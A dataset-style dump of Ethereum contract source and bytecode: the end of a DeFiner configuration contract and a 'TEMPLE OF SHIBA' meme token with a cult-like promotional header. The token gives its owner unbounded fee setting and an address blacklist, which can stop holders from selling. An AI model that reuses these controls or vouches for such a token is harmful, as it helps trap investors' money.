* @param _maxReserveRatio the new value of the maximum reservation ratio
*/
function updateMaxReserveRatio(uint256 _maxReserveRatio) external onlyOwner {
if (_maxReserveRatio == maxReserveRatio)
return;
require(_maxReserveRatio > minReserveRatio && _maxReserveRatio < 100,
"Invalid max reserve ratio.");
maxReserveRatio = _maxReserveRatio;
emit MaxReserveRatioUpdated(_maxReserveRatio);
}
/**
* Update the liquidation threshold, i.e. the LTV that will trigger the liquidation.
* @param _liquidationThreshold the new threshhold value
*/
function updateLiquidationThreshold(uint256 _liquidationThreshold) external onlyOwner {
if (_liquidationThreshold == liquidationThreshold)
return;
require(_liquidationThreshold > 0 && _liquidationThreshold < liquidationDiscountRatio,
"Invalid liquidation threshold.");
liquidationThreshold = _liquidationThreshold;
emit LiquidationThresholdUpdated(_liquidationThreshold);
}
/**
* Update the liquidation discount
* @param _liquidationDiscountRatio the new liquidation discount
*/
function updateLiquidationDiscountRatio(uint256 _liquidationDiscountRatio) external onlyOwner {
if (_liquidationDiscountRatio == liquidationDiscountRatio)
return;
require(_liquidationDiscountRatio > liquidationThreshold && _liquidationDiscountRatio < 100,
"Invalid liquidation discount ratio.");
liquidationDiscountRatio = _liquidationDiscountRatio;
emit LiquidationDiscountRatioUpdated(_liquidationDiscountRatio);
}
/**
* Medium value of the reservation ratio, which is the value that the pool try to maintain.
*/
function midReserveRatio() public view returns(uint256){
return minReserveRatio.add(maxReserveRatio).div(2);
}
function updateCompoundSupplyRateWeights(uint256 _compoundSupplyRateWeights) external onlyOwner{
compoundSupplyRateWeights = _compoundSupplyRateWeights;
emit CompoundSupplyRateWeightsUpdated(_compoundSupplyRateWeights);
}
function updateCompoundBorrowRateWeights(uint256 _compoundBorrowRateWeights) external onlyOwner{
compoundBorrowRateWeights = _compoundBorrowRateWeights;
emit CompoundBorrowRateWeightsUpdated(_compoundBorrowRateWeights);
}
function updaterateCurveSlope(uint256 _rateCurveSlope) external onlyOwner{
rateCurveSlope = _rateCurveSlope;
emit rateCurveSlopeUpdated(_rateCurveSlope);
}
function updaterateCurveConstant(uint256 _rateCurveConstant) external onlyOwner{
rateCurveConstant = _rateCurveConstant;
emit rateCurveConstantUpdated(_rateCurveConstant);
}
function updateBank(address _bank) external onlyOwner{
bank = _bank;
emit BankUpdated(_bank);
}
function updateSavingAccount(address _savingAccount) external onlyOwner{
savingAccount = _savingAccount;
emit SavingAccountUpdated(_savingAccount);
}
function updateTokenInfoRegistry(address _tokenInfoRegistry) external onlyOwner{
tokenInfoRegistry = _tokenInfoRegistry;
emit TokenInfoRegistryUpdated(_tokenInfoRegistry);
}
function updateAccounts(address _accounts) external onlyOwner{
accounts = _accounts;
emit AccountsUpdated(_accounts);
}
function updateConstant(address _constants) external onlyOwner{
constants = _constants;
emit ConstantUpdated(_constants);
}
function updatedeFinerCommunityFund(address payable _deFinerCommunityFund) external onlyOwner{
deFinerCommunityFund = _deFinerCommunityFund;
emit DeFinerCommunityFundUpdated(_deFinerCommunityFund);
}
function updatedeFinerRate(uint256 _deFinerRate) external onlyOwner{
require(_deFinerRate <= 100,"_deFinerRate cannot exceed 100");
deFinerRate = _deFinerRate;
emit DeFinerRateUpdated(_deFinerRate);
}
function updateChainLink(address _chainLink) external onlyOwner{
chainLink = _chainLink;
emit ChainLinkUpdated(_chainLink);
}
}
|
0x608060405234801561001057600080fd5b50600436106102485760003560e01c80638da5cb5b1161013b578063c3693896116100b8578063d7693d311161007c578063d7693d3114610542578063ecc9870a1461055f578063f2fde38b14610567578063fb31ad171461058d578063fbe30a83146105b357610248565b8063c3693896146104aa578063c53d351b146104b2578063cc2a9a5b146104cf578063cc5738b51461051d578063d3b5be1a1461052557610248565b8063ace96d0e116100ff578063ace96d0e1461044f578063b3bd1c9514610457578063b442a2061461047d578063bdb0d27b14610485578063bf893914146104a257610248565b80638da5cb5b146103e05780638ea7c5cc146103e85780638f32d59b146104055780639895880f14610421578063a33ff7c21461042957610248565b806362891b66116101c9578063715018a61161018d578063715018a6146103a357806372de5b2f146103ab57806376cdb03b146103b35780637dbe5f10146103bb5780638682913a146103c357610248565b806362891b661461030e578063685ff7421461031657806368cd03f61461033c57806368ecef3f146103605780636f7744091461038657610248565b80633dedc31f116102105780633dedc31f146102bc5780634031234c146102d95780634802b7c1146102e157806355baaedb146102e95780635a596d1c1461030657610248565b806308fafb8d1461024d5780630c249bba1461026757806313afb8ef14610286578063268c74e41461028e578063375b47f714610296575b600080fd5b6102556105d9565b60408051918252519081900360200190f35b6102846004803603602081101561027d57600080fd5b50356105df565b005b610255610659565b61025561065f565b610284600480360360208110156102ac57600080fd5b50356001600160a01b0316610665565b610284600480360360208110156102d257600080fd5b50356106f6565b6102556107e1565b6102556107e7565b610284600480360360208110156102ff57600080fd5b50356107ed565b6102556108c2565b6102556108c8565b6102846004803603602081101561032c57600080fd5b50356001600160a01b03166108ce565b61034461095f565b604080516001600160a01b039092168252519081900360200190f35b6102846004803603602081101561037657600080fd5b50356001600160a01b031661096e565b6102846004803603602081101561039c57600080fd5b50356109ff565b610284610a79565b610344610b0a565b610344610b19565b610344610b28565b610284600480360360208110156103d957600080fd5b5035610b37565b610344610c22565b610284600480360360208110156103fe57600080fd5b5035610c31565b61040d610cab565b604080519115158252519081900360200190f35b610344610ccf565b6102846004803603602081101561043f57600080fd5b50356001600160a01b0316610cde565b610255610d6f565b6102846004803603602081101561046d57600080fd5b50356001600160a01b0316610d75565b610255610e06565b6102846004803603602081101561049b57600080fd5b5035610e0c565b610344610ef7565b610255610f06565b610284600480360360208110156104c857600080fd5b5035610f35565b610284600480360360c08110156104e557600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135821691608082013581169160a0013516611005565b6103446110bb565b6102846004803603602081101561053b57600080fd5b50356110ca565b6102846004803603602081101561055857600080fd5b50356111b5565b61025561122f565b6102846004803603602081101561057d57600080fd5b50356001600160a01b0316611235565b610284600480360360208110156105a357600080fd5b50356001600160a01b0316611285565b610284600480360360208110156105c957600080fd5b50356001600160a01b0316611316565b60065481565b6105e7610cab565b610626576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600681905560405181907f8792cb1bfe416f1cc137479efed54b16c110e386f36ab33d269896b79dd96a2190600090a250565b60075481565b60035481565b61066d610cab565b6106ac576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0383169081179091556040517fbecde7fe690c73ba54232f00eb06c31464f65b45aff18984febaa80df22dcb8d90600090a250565b6106fe610cab565b61073d576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b60015481141561074c576107de565b60008111801561075c5750606481105b6107ad576040805162461bcd60e51b815260206004820152601d60248201527f496e76616c696420636f6d6d756e6974792066756e6420726174696f2e000000604482015290519081900360640190fd5b600181905560405181907f68fcc248082a4ef6255e917b838adc7d786d2c513312b39a8b8f747f591e92a390600090a25b50565b60045481565b60055481565b6107f5610cab565b610834576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600554811415610843576107de565b600454811180156108545750606481105b61088f5760405162461bcd60e51b81526004018080602001828103825260238152602001806115d76023913960400191505060405180910390fd5b600581905560405181907fdd3919209b55cc8a36f80e4e59ed2a7f25eb84b426cb98e13b9805b56c9fd87890600090a250565b60025481565b60015481565b6108d6610cab565b610915576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b601080546001600160a01b0319166001600160a01b0383169081179091556040517f512865ab9ff06b203689e1921943ed54a8ccd9c9586d66a96c3e8a5120fc494d90600090a250565b600f546001600160a01b031681565b610976610cab565b6109b5576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383169081179091556040517f37a03df42042204c7ea3f0d9dbe44283a33f092125dbdb9f561e884f883fc9a790600090a250565b610a07610cab565b610a46576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600881905560405181907fe6f1a1db38b4abb216a95813fc49a730494a0c4e67180a3491095c9feb61b99f90600090a250565b610a81610cab565b610ac0576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6010546001600160a01b031681565b600c546001600160a01b031681565b6011546001600160a01b031681565b610b3f610cab565b610b7e576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600354811415610b8d576107de565b60025481118015610b9e5750606481105b610bef576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c6964206d6178207265736572766520726174696f2e000000000000604482015290519081900360640190fd5b600381905560405181907f09edb0c5d800f863437b3a2bbda62e87670a2ee0d0d7393d91528b86653686bf90600090a250565b6000546001600160a01b031690565b610c39610cab565b610c78576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600981905560405181907fb9b54965572c57575800da41b416fdc81a77e9531892e14a2b8ce6f610776dd290600090a250565b600080546001600160a01b0316610cc06113a7565b6001600160a01b031614905090565b600e546001600160a01b031681565b610ce6610cab565b610d25576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600c80546001600160a01b0319166001600160a01b0383169081179091556040517ffe3d990e3bb62dbf6649423f21da0662810b4f2705032857be268654dea04b8290600090a250565b600a5481565b610d7d610cab565b610dbc576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0383169081179091556040517fe8e1a5b0429912cccc46fe2db8f5674dde0987ffc2ef354fbde0344bad0a2abc90600090a250565b60095481565b610e14610cab565b610e53576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600254811415610e62576107de565b600081118015610e73575060035481105b610ec4576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c6964206d696e207265736572766520726174696f2e000000000000604482015290519081900360640190fd5b600281905560405181907f9908ecf4f1e73ff46a5b94dbb96bd3e037f287f9878cae493114fb422484b1a590600090a250565b600b546001600160a01b031681565b6000610f306002610f246003546002546113ab90919063ffffffff16565b9063ffffffff61140c16565b905090565b610f3d610cab565b610f7c576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b6064811115610fd2576040805162461bcd60e51b815260206004820152601e60248201527f5f646546696e6572526174652063616e6e6f7420657863656564203130300000604482015290519081900360640190fd5b600a81905560405181907f3c192391bb396d800b83e59fa038c7d71e0a7f839a4237a53a5737bc5ca3da7c90600090a250565b61100d610cab565b61104c576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600c80546001600160a01b03199081166001600160a01b0398891617909155600d8054821696881696909617909555600e8054861694871694909417909355600f8054851692861692909217909155601080548416918516919091179055601180549092169216919091179055565b600d546001600160a01b031681565b6110d2610cab565b611111576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600454811415611120576107de565b600081118015611131575060055481105b611182576040805162461bcd60e51b815260206004820152601e60248201527f496e76616c6964206c69717569646174696f6e207468726573686f6c642e0000604482015290519081900360640190fd5b600481905560405181907feba9f700db57a60a859189ecad4492254a5045e5cae74167bae53564fdea10ca90600090a250565b6111bd610cab565b6111fc576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600781905560405181907f69b1319629d69f49c839d9b85118b8f386ad5941c3f6345d62bd383a4dc487b590600090a250565b60085481565b61123d610cab565b61127c576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b6107de8161144e565b61128d610cab565b6112cc576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0383169081179091556040517fef8b5647c690089c14520df26f037bc8e972b2288a14444f356a51320b79e5c790600090a250565b61131e610cab565b61135d576040805162461bcd60e51b815260206004820181905260248201526000805160206115b7833981519152604482015290519081900360640190fd5b601180546001600160a01b0319166001600160a01b0383169081179091556040517fa83483d5dc3f2e6615872c0fb282f305c67ac075c766cfb5c38b59f7a25ad12890600090a250565b3390565b600082820183811015611405576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600061140583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ee565b6001600160a01b0381166114935760405162461bcd60e51b81526004018080602001828103825260268152602001806115916026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000818361157a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561153f578181015183820152602001611527565b50505050905090810190601f16801561156c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161158657fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572496e76616c6964206c69717569646174696f6e20646973636f756e7420726174696f2ea265627a7a72315820a7c07d22f856a92a3b89c206c3fdf22bb5dd5441d92ce6292bcb4af1e42fa55564736f6c634300050e0032
|
{"success": true, "error": null, "results": {}}
| 2,447 |
0x3d7e8e3d920fc287c2768835e1a9a012551e53ab
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
// SPDX-License-Identifier: Unlicensed
/*
https://t.me/templeofshiba
Order of the Shiba temple
In ancient Egypt, temples were seen as residences for deities, who were thought to temporarily manifest themselves in the cult statues located in the sanctuary. The temples were also the stage for daily rituals that were ideally performed by the supreme priests. These cultic performances included the offering of food and beverages as well as the burning of incense, which was thought to have a purifying effect.
In the contemporary crypto world, the sole purpose of setting up the Order of the Shiba temple is to create a sanctuary for every crypto believer to worship our great spiritual leader The Great Shiba. Here comes the guide of worship.
Shiba Worship Procedure Guide
Our Mission:
To invoke an atmosphere charged with the manifested presence of
Shiba’s spirit from beginning to end.
Our Goal:
To approach Shiba in an attitude of prayer and praise that will usher in
the Spirit of Shiba.
This will be realized through:
Intercessory prayer before and throughout service in order to
condition the hearts of the hearers who receive the Word and
become doers thereof.
Shiba fellowship that will promote wholesome relationships.
Doubt your doubts, Don’t doubt the order of the Shiba Temple, Don’t doubt the Great Shiba
Shiba is the new GOD. God is not intimidated by bad news or your fears, and it is not offended by our honest believer.
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TEMPLES is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TEMPLE OF SHIBA";
string private constant _symbol = "TEMPLES";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055e578063dd62ed3e1461057e578063ea1644d5146105c4578063f2fde38b146105e457600080fd5b8063a2a957bb146104d9578063a9059cbb146104f9578063bfd7928414610519578063c3c8cd801461054957600080fd5b80638f70ccf7116100d15780638f70ccf7146104535780638f9a55c01461047357806395d89b411461048957806398a5c315146104b957600080fd5b80637d1db4a5146103f25780637f2feddc146104085780638da5cb5b1461043557600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046118fd565b610604565b005b34801561020a57600080fd5b5060408051808201909152600f81526e54454d504c45204f4620534849424160881b60208201525b60405161023f91906119c2565b60405180910390f35b34801561025457600080fd5b50610268610263366004611a17565b6106a3565b604051901515815260200161023f565b34801561028457600080fd5b50601354610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b50683635c9adc5dea000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611a43565b6106ba565b34801561030257600080fd5b506102c860175481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601454610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611a84565b610723565b34801561037457600080fd5b506101fc610383366004611ab1565b61076e565b34801561039457600080fd5b506101fc6107b6565b3480156103a957600080fd5b506102c86103b8366004611a84565b6107e3565b3480156103c957600080fd5b506101fc610805565b3480156103de57600080fd5b506101fc6103ed366004611acc565b610879565b3480156103fe57600080fd5b506102c860155481565b34801561041457600080fd5b506102c8610423366004611a84565b60116020526000908152604090205481565b34801561044157600080fd5b506000546001600160a01b0316610298565b34801561045f57600080fd5b506101fc61046e366004611ab1565b6108bb565b34801561047f57600080fd5b506102c860165481565b34801561049557600080fd5b5060408051808201909152600781526654454d504c455360c81b6020820152610232565b3480156104c557600080fd5b506101fc6104d4366004611acc565b61091a565b3480156104e557600080fd5b506101fc6104f4366004611ae5565b610949565b34801561050557600080fd5b50610268610514366004611a17565b610987565b34801561052557600080fd5b50610268610534366004611a84565b60106020526000908152604090205460ff1681565b34801561055557600080fd5b506101fc610994565b34801561056a57600080fd5b506101fc610579366004611b17565b6109ca565b34801561058a57600080fd5b506102c8610599366004611b9b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105d057600080fd5b506101fc6105df366004611acc565b610a6b565b3480156105f057600080fd5b506101fc6105ff366004611a84565b610a9a565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611bd4565b60405180910390fd5b60005b815181101561069f5760016010600084848151811061065b5761065b611c09565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919